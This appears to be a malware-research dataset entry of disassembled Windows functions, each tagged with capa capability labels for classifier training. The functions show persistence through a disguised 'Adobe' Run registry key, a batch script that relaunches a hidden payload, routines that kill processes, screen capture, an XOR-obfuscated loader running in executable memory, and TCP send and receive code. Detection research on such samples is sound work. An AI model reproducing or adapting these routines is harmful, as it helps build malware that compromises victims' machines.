joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d328
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a35c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00405145
mov dword [ebp - 0x14], eax
cmp dword [0x43ee98], esi
jne 0x40d41b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d3a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d4fb
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d4fb
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d4fb
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43ee98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43ee9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43eea0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43eea8], eax
test eax, eax
je 0x40d418
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43eea4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d440
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d433
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d455
push 4
pop eax
jmp 0x40d4fd
cmp dword [ebp - 0x14], esi
je 0x40d455
push dword [0x43ee98]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d43a
mov eax, dword [0x43eea4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d4b3
cmp dword [0x43eea8], edi
je 0x40d4b3
push eax
call ebx
push dword [0x43eea8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d4b3
test eax, eax
je 0x40d4b3
call ecx
test eax, eax
je 0x40d4a8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d4a8
test byte [ebp - 8], 1
jne 0x40d4b3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d4e3
mov eax, dword [0x43ee9c]
cmp eax, edi
je 0x40d4e0
push eax
call ebx
test eax, eax
je 0x40d4e0
call eax
mov esi, eax
test esi, esi
je 0x40d4e0
mov eax, dword [0x43eea0]
cmp eax, edi
je 0x40d4e0
push eax
call ebx
test eax, eax
je 0x40d4e0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43ee98]
call ebx
test eax, eax
je 0x40d4fb
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d4fd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404457
mov esp, ebp
pop ebp
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x405c62
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x405c71
pop dword [ebp - 0x48]
mov eax, 0x6f8840f3
sub eax, 0x6f47e482
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x7ceb90ec
sub dword [ebp - 0x58], 0x2e994ba1
mov dword [ebp - 0x54], 0xf4595eeb
add dword [ebp - 0x54], 0x3dd9ed5a
mov dword [ebp - 0x50], 0x9ded3b28
add dword [ebp - 0x50], 0xae5f0906
mov dword [ebp - 0x4c], 0x2417cba9
sub dword [ebp - 0x4c], 0x2417cba9
lea eax, [ebp - 0x58]
push eax
mov eax, 0xa7174ecd
sub eax, 0xa6d67e81
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xc45b56ab
add dword [ebp - 0x58], 0xb01712ab
mov dword [ebp - 0x54], 0x53b8d0f8
sub dword [ebp - 0x54], 0x124c6f83
mov dword [ebp - 0x50], 0x9cd73a69
sub dword [ebp - 0x50], 0x3967cdfd
mov dword [ebp - 0x4c], 0x18380501
sub dword [ebp - 0x4c], 0x18380501
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x11104607
add eax, 0xef308a41
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x37a4e
push 0
call eax
mov ecx, 0xbf6b6b81
add ecx, 0x4094d431
mov edx, eax
mov esi, 0xd1545d29
sub esi, 0xd112ad29
add esi, dword [ebp - 0x48]
mov ebx, 0xead808bf
sub ebx, 0xfe16c2e6
xor dword [ebp - 8], 0x4b8c69a8
mov edi, dword [esi]
sub dword [ebp - 0xc], ebx
add edi, ebx
xor dword [ebp - 0x2c], 0xf09b4202
mov dword [edx], edi
sub dword [ebp - 0x44], 0x5b8a289b
add edx, 0x3bd142b
add edx, 0xfc42ebd9
add esi, 4
loop 0x405d93
add eax, 0xf19b
mov ebx, eax
add eax, 0xaef2e837
add eax, 0x510d17ce
mov ecx, 0x76fa7db9
sub ecx, 0x76ba7db9
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401110
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401122
mov eax, dword [0x41b08b]
shl eax, 2
mov dword [0x41b08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.0040d4ec
pop edx
call fcn.0040c7f4
call fcn.0040d4f0
push 0
call fcn.0040f5e8
pop ecx
push 0x41b034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x41b093], eax
push 0
jmp fcn.00416d78

Function at 0x403f84
Capabilities:
Change the wallpaper
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push str.pac001_
lea edx, [ebp - 0x104]
push edx
call fcn.0040e690
add esp, 8
push str.wallpaper.jpg
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040e690
add esp, 8
push 3
lea eax, [ebp - 0x104]
push eax
push 0
push 0x14
call sub.USER32.DLL_SystemParametersInfoA
test eax, eax
setne dl
and edx, 1
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4043d4
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 0xf
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x404463
lea eax, [ebp - 0x104]
mov edx, edi
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x404452
test cl, cl
je 0x40442d
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x404452
add eax, 2
add edx, 2
test cl, cl
jne 0x404411
jne 0x404452
push dword [ebp - 0x120]
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov esi, eax
test esi, esi
je 0x404452
push 9
push esi
call sub.KERNEL32.DLL_TerminateProcess
push esi
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x404409
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4049e4
Capabilities:
Create process on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor ebx, ebx
push str.cmd.exe
call fcn.004043d4
pop ecx
inc ebx
cmp ebx, 5
jl 0x4049f0
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push str.pac001pers2.bat
lea edx, [ebp - 0x104]
push edx
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x104]
push ecx
call fcn.00405834
pop ecx
test eax, eax
jne 0x404a74
push 0x440108
lea eax, [ebp - 0x104]
push eax
call fcn.00410998
add esp, 8
mov ebx, eax
test eax, eax
jne 0x404a58
push ebx
call fcn.004104f0
pop ecx
push ebx
push 1
push 0x190
push str._echo_off__r_n::_Contador_simple__r_nset_contador0__r_n:bucle2__r_n:bucle__r_nping_127.0.0.1__n_5__r_nif__contador__LSS_5____r_nset__a_contador_contador_1__r_ngoto_:bucle__r_n___r_nset_contador0__r_nSETLOCAL_EnableExtensions__r_nset_EXEuctsvc.exe__r_nFOR__F___x_IN__tasklist__NH__FI__IMAGENAME_eq__EXE____DO_IF___x___EXE__goto_FOUND__r_ncmd__c_start__temp_pac001uctsvc.exe__r_n__goto_:bucle2__r_n:FOUND__r_ngoto_:bucle2__r_echo_off_r_ncmd__c_start_reg.exe_add_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun__v_Adobe__t_REG_SZ__d__temp_pac001uctsvc.exe__f__null
call fcn.00410e4c
add esp, 0x10
push ebx
call fcn.004104f0
pop ecx
push 0
lea edx, [ebp - 0x104]
push edx
call sub.KERNEL32.DLL_WinExec
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404f4c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x404f60
xor eax, eax
pop ebp
ret
test al, 0x10
setne dl
and edx, 1
mov eax, edx
pop ebp
ret

Function at 0x4051b8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push 0x64
call fcn.0040c46c
pop ecx
mov dword [ebp - 4], eax
mov esi, 1
call sub.KERNEL32.DLL_GetLogicalDrives
mov dword [ebp - 8], eax
mov eax, dword [0x438210]
mov dword [ebp - 0xc], eax
mov edx, dword [0x438214]
mov dword [ebp - 0x10], edx
push 0x64
push 0
push dword [ebp - 4]
call fcn.0040e5ec
add esp, 0xc
xor ebx, ebx
test dword [ebp - 8], esi
je 0x405240
lea eax, [ebx + 0x41]
lea edx, [ebp - 0xc]
push eax
push 0x440323
push edx
call sub.USER32.DLL_wsprintfA
add esp, 0xc
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp - 4]
call fcn.0040e690
add esp, 8
push 0x44030b
push dword [ebp - 4]
call fcn.0040e690
add esp, 8
xor eax, eax
mov byte [ebp + eax - 0xc], 0
inc eax
cmp eax, 4
jl 0x405235
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x4051fa
push 0x13bb
push dword [ebp - 4]
push 0x447fd4
call fcn.004052dc
add esp, 0xc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4055cc
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
mov eax, 0x440b14
push ebx
push esi
push edi
call fcn.0040e948
mov word [ebp - 0x24], 8
push 0x448e0c
push 2
call sub.WSOCK32.DLL_WSAStartup
mov edx, dword [ebp + 0xc]
push dword [edx]
call sub.WSOCK32.DLL_gethostbyname
test eax, eax
jne 0x40563b
mov word [ebp - 0x24], 0x14
lea ecx, [ebp - 8]
push ecx
inc dword [ebp - 0x18]
push 0
push dword [ebp + 8]
call fcn.0040268e
add dword [ebp - 0x18], 4
mov eax, dword [ebp + 8]
add esp, 0xc
mov word [ebp - 0x24], 0x20
dec dword [ebp - 0x18]
mov word [ebp - 0x24], 8
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x4056ba
movsx ecx, word [eax + 0xa]
push ecx
mov eax, dword [eax + 0xc]
push dword [eax]
push 0x448fa0
call fcn.0040e57c
add esp, 0xc
mov word [ebp - 0x24], 0x2c
lea edx, [ebp - 0x10]
push edx
inc dword [ebp - 0x18]
push dword [0x448fa0]
call sub.WSOCK32.DLL_inet_ntoa
push eax
push dword [ebp + 8]
call fcn.0040268e
add dword [ebp - 0x18], 4
mov eax, dword [ebp + 8]
add esp, 0xc
mov word [ebp - 0x24], 0x38
dec dword [ebp - 0x18]
mov word [ebp - 0x24], 8
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
jmp 0x4056ba
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405868
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push esi
push edi
mov eax, 0x440c00
call fcn.0040e948
lea edi, [ebp - 0x130]
mov esi, 0x438258
mov ecx, 0x41
lea eax, [ebp - 0x130]
rep movsd dword es:[edi], dword [esi]
push eax
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
mov word [ebp - 0x1c], 8
lea edx, [ebp - 8]
lea ecx, [ebp - 0x130]
push edx
inc dword [ebp - 0x10]
push ecx
push dword [ebp + 8]
call fcn.0040268e
add dword [ebp - 0x10], 4
mov eax, dword [ebp + 8]
add esp, 0xc
mov word [ebp - 0x1c], 0x14
dec dword [ebp - 0x10]
mov word [ebp - 0x1c], 8
add dword [ebp - 0x10], 4
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4058ec
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
push edi
lea edi, [ebp - 0x154]
mov eax, 0x440c4c
call fcn.0040e948
mov byte [ebp - 0x45], 0x30
push edi
push 0x104
call sub.KERNEL32.DLL_GetLogicalDriveStringsA
mov word [ebp - 0x34], 0x14
mov esi, eax
lea eax, [ebp - 0x20]
push eax
lea edx, [ebp - 0x18]
inc dword [ebp - 0x28]
push 0x4400c8
push edx
call fcn.0040268e
add dword [ebp - 0x28], 4
dec dword [ebp - 0x28]
add esp, 0xc
mov word [ebp - 0x34], 8
xor ebx, ebx
jmp 0x40598b
movsx eax, byte [edi + ebx]
cmp eax, 0x40
jle 0x40598a
movsx edx, byte [edi + ebx]
cmp edx, 0x5a
jge 0x40598a
mov cl, byte [edi + ebx]
lea eax, [ebp - 0x18]
push ecx
push 1
push eax
call fcn.00402d0c
add esp, 0xc
push 0
mov dl, byte [edi + ebx]
push edx
push 0x448dec
call fcn.00402e1c
add esp, 0xc
cmp eax, 0x64
jbe 0x40598a
mov cl, byte [edi + ebx]
mov byte [ebp - 0x45], cl
inc ebx
cmp esi, ebx
ja 0x405948
lea eax, [ebp - 0x18]
cmp eax, 0x448dec
je 0x4059b2
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
lea edx, [ebp - 0x50]
push edx
push ebx
push esi
push 0x448dec
call fcn.004032a4
add esp, 0x10
mov al, byte [ebp - 0x45]
push eax
dec dword [ebp - 0x28]
mov word [ebp - 0x34], 8
dec dword [ebp - 0x28]
mov esi, dword [ebp - 8]
sub esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4059ea
cmp esi, 0x80
jbe 0x4059e0
push ebx
call fcn.0040c294
pop ecx
jmp 0x4059ea
push esi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x28]
dec dword [ebp - 0x28]
pop eax
mov edx, dword [ebp - 0x44]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405adc
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
push dword [ebp + 8]
call sub.USER32.DLL_OpenClipboard
call sub.USER32.DLL_EmptyClipboard
mov eax, dword [esi + 4]
sub eax, dword [esi]
inc eax
push eax
push 2
call sub.KERNEL32.DLL_GlobalAlloc
mov ebx, eax
test ebx, ebx
jne 0x405b0c
call sub.USER32.DLL_CloseClipboard
jmp 0x405b3d
mov eax, dword [esi + 4]
sub eax, dword [esi]
inc eax
push eax
push dword [esi]
push ebx
call sub.KERNEL32.DLL_GlobalLock
push eax
call fcn.0040e57c
add esp, 0xc
push ebx
call sub.KERNEL32.DLL_GlobalUnlock
push ebx
push 1
call sub.USER32.DLL_SetClipboardData
call sub.USER32.DLL_CloseClipboard
push ebx
call sub.KERNEL32.DLL_GlobalFree
pop esi
pop ebx
pop ebp
ret
Function at 0x409eb8
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
mov eax, 0x441864
push ebx
push esi
push edi
call fcn.0040e948
call sub.USER32.DLL_GetDesktopWindow
push eax
call sub.USER32.DLL_GetDC
mov ebx, eax
push 1
call sub.USER32.DLL_GetSystemMetrics
mov dword [ebp - 0x3c], eax
push 0
call sub.USER32.DLL_GetSystemMetrics
mov dword [ebp - 0x40], eax
cmp dword [0x437e60], 1
jne 0x409f09
mov eax, dword [0x437e64]
mov edx, dword [0x437e68]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
push ebx
call sub.GDI32.DLL_CreateCompatibleDC
mov esi, eax
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push ebx
call sub.GDI32.DLL_CreateCompatibleBitmap
mov edi, eax
push edi
push esi
call sub.GDI32.DLL_SelectObject
push 0xcc0020
push 0
push 0
push ebx
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push 0
push 0
push esi
call sub.GDI32.DLL_BitBlt
mov dword [ebp - 0x48], edi
push 0x10
call sub.GDIPLUS.DLL_GdipAlloc
mov dword [ebp - 4], eax
test eax, eax
je 0x409fa4
mov word [ebp - 0x28], 0x14
mov edx, 0x43865c
mov ecx, dword [ebp - 4]
mov dword [ecx], edx
inc dword [ebp - 0x1c]
mov eax, 0x438648
mov edx, dword [ebp - 4]
mov dword [edx], eax
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
lea eax, [ebp - 0x4c]
push eax
push 0
push dword [ebp - 0x48]
call sub.GDIPLUS.DLL_GdipCreateBitmapFromHBITMAP
mov edx, dword [ebp - 4]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x50]
mov dword [eax + 4], edx
dec dword [ebp - 0x1c]
mov word [ebp - 0x28], 8
mov ecx, dword [ebp - 4]
jmp 0x409fa7
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x44], ecx
lea eax, [ebp - 0x64]
push eax
push str.image_jpeg
call fcn.00409e0c
add esp, 8
push 0
push 0
push 0x2d0
push 0x500
push dword [ebp - 0x44]
call fcn.00402e92
add esp, 0x14
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x64]
push 0
push edx
push eax
mov ecx, dword [ebp - 0x54]
push dword [ecx + 4]
call sub.GDIPLUS.DLL_GdipSaveImageToFile
test eax, eax
je 0x409ff6
mov edx, dword [ebp - 0x54]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40a023
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov dword [ebp - 8], eax
mov word [ebp - 0x28], 0x2c
push 3
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [edx]
call dword [ecx]
mov word [ebp - 0x28], 0x20
add esp, 8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40a050
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
mov dword [ebp - 0x10], ecx
mov word [ebp - 0x28], 0x44
push 3
mov eax, dword [ebp - 0x14]
push eax
mov edx, dword [eax]
call dword [edx]
mov word [ebp - 0x28], 0x38
add esp, 8
push esi
call sub.GDI32.DLL_DeleteObject
push edi
call sub.GDI32.DLL_DeleteObject
push ebx
call sub.GDI32.DLL_DeleteObject
xor eax, eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bf08
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe04
mov eax, 0x441d98
push ebx
push esi
push edi
call fcn.0040e948
mov ax, 0x101
lea edx, [ebp - 0x1ec]
push edx
push eax
call sub.WSOCK32.DLL_WSAStartup
mov word [ebp - 0x4c], 8
lea ecx, [ebp - 8]
lea eax, [ebp - 0x20]
push ecx
inc dword [ebp - 0x40]
push 0x447fd4
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x20]
add dword [ebp - 0x40], 4
push edx
lea ecx, [ebp - 0x38]
push ecx
call fcn.004055cc
add esp, 8
lea ebx, [ebp - 0x38]
add dword [ebp - 0x40], 4
mov eax, dword [ebx]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov esi, eax
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
mov edi, dword [ebp - 0x28]
sub edi, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40bfa0
cmp edi, 0x80
jbe 0x40bf96
push ebx
call fcn.0040c294
pop ecx
jmp 0x40bfa0
push edi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
mov edi, dword [ebp - 0x10]
sub edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40bfd4
cmp edi, 0x80
jbe 0x40bfca
push ebx
call fcn.0040c294
pop ecx
jmp 0x40bfd4
push edi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
test esi, esi
jne 0x40bff7
call sub.WSOCK32.DLL_WSAGetLastError
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40c0b0
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40c01f
call sub.WSOCK32.DLL_WSAGetLastError
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40c0b0
mov word [ebp - 0x1fc], 2
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax]
mov dword [ebp - 0x1f8], edx
mov cx, word [ebp + 0x10]
push ecx
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x1fa], ax
lea eax, [ebp - 0x1fc]
push 0x10
push eax
push ebx
call sub.WSOCK32.DLL_connect
inc eax
jne 0x40c06b
call sub.WSOCK32.DLL_WSAGetLastError
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40c0b0
push 0
push dword [ebp + 0xc]
call fcn.0040e6cc
pop ecx
push eax
push dword [ebp + 0xc]
push ebx
call sub.WSOCK32.DLL_send
push 0x64
push 0
push 0x44926c
call fcn.0040e5ec
add esp, 0xc
push 0
push 0x64
push 0x44926c
push ebx
call sub.WSOCK32.DLL_recv
push ebx
call sub.WSOCK32.DLL_closesocket
mov ecx, dword [ebp - 0x5c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c0b8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe04
mov eax, 0x441e04
push ebx
push esi
push edi
call fcn.0040e948
mov ax, 0x101
lea edx, [ebp - 0x1ec]
push edx
push eax
call sub.WSOCK32.DLL_WSAStartup
mov word [ebp - 0x4c], 8
lea ecx, [ebp - 8]
lea eax, [ebp - 0x20]
push ecx
inc dword [ebp - 0x40]
push 0x447fd4
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x20]
add dword [ebp - 0x40], 4
push edx
lea ecx, [ebp - 0x38]
push ecx
call fcn.004055cc
add esp, 8
lea ebx, [ebp - 0x38]
add dword [ebp - 0x40], 4
mov eax, dword [ebx]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov esi, eax
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
mov edi, dword [ebp - 0x28]
sub edi, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40c150
cmp edi, 0x80
jbe 0x40c146
push ebx
call fcn.0040c294
pop ecx
jmp 0x40c150
push edi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
mov edi, dword [ebp - 0x10]
sub edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40c184
cmp edi, 0x80
jbe 0x40c17a
push ebx
call fcn.0040c294
pop ecx
jmp 0x40c184
push edi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
test esi, esi
jne 0x40c1a7
call sub.WSOCK32.DLL_WSAGetLastError
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40c260
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40c1cf
call sub.WSOCK32.DLL_WSAGetLastError
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40c260
mov word [ebp - 0x1fc], 2
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax]
mov dword [ebp - 0x1f8], edx
mov cx, word [ebp + 0x10]
push ecx
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x1fa], ax
lea eax, [ebp - 0x1fc]
push 0x10
push eax
push ebx
call sub.WSOCK32.DLL_connect
inc eax
jne 0x40c21b
call sub.WSOCK32.DLL_WSAGetLastError
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40c260
push 0
push dword [ebp + 0xc]
call fcn.0040e6cc
pop ecx
push eax
push dword [ebp + 0xc]
push ebx
call sub.WSOCK32.DLL_send
push 0x64
push 0
push 0x449334
call fcn.0040e5ec
add esp, 0xc
push 0
push 0x64
push 0x449334
push ebx
call sub.WSOCK32.DLL_recv
push ebx
call sub.WSOCK32.DLL_closesocket
mov ecx, dword [ebp - 0x5c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d1b0
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret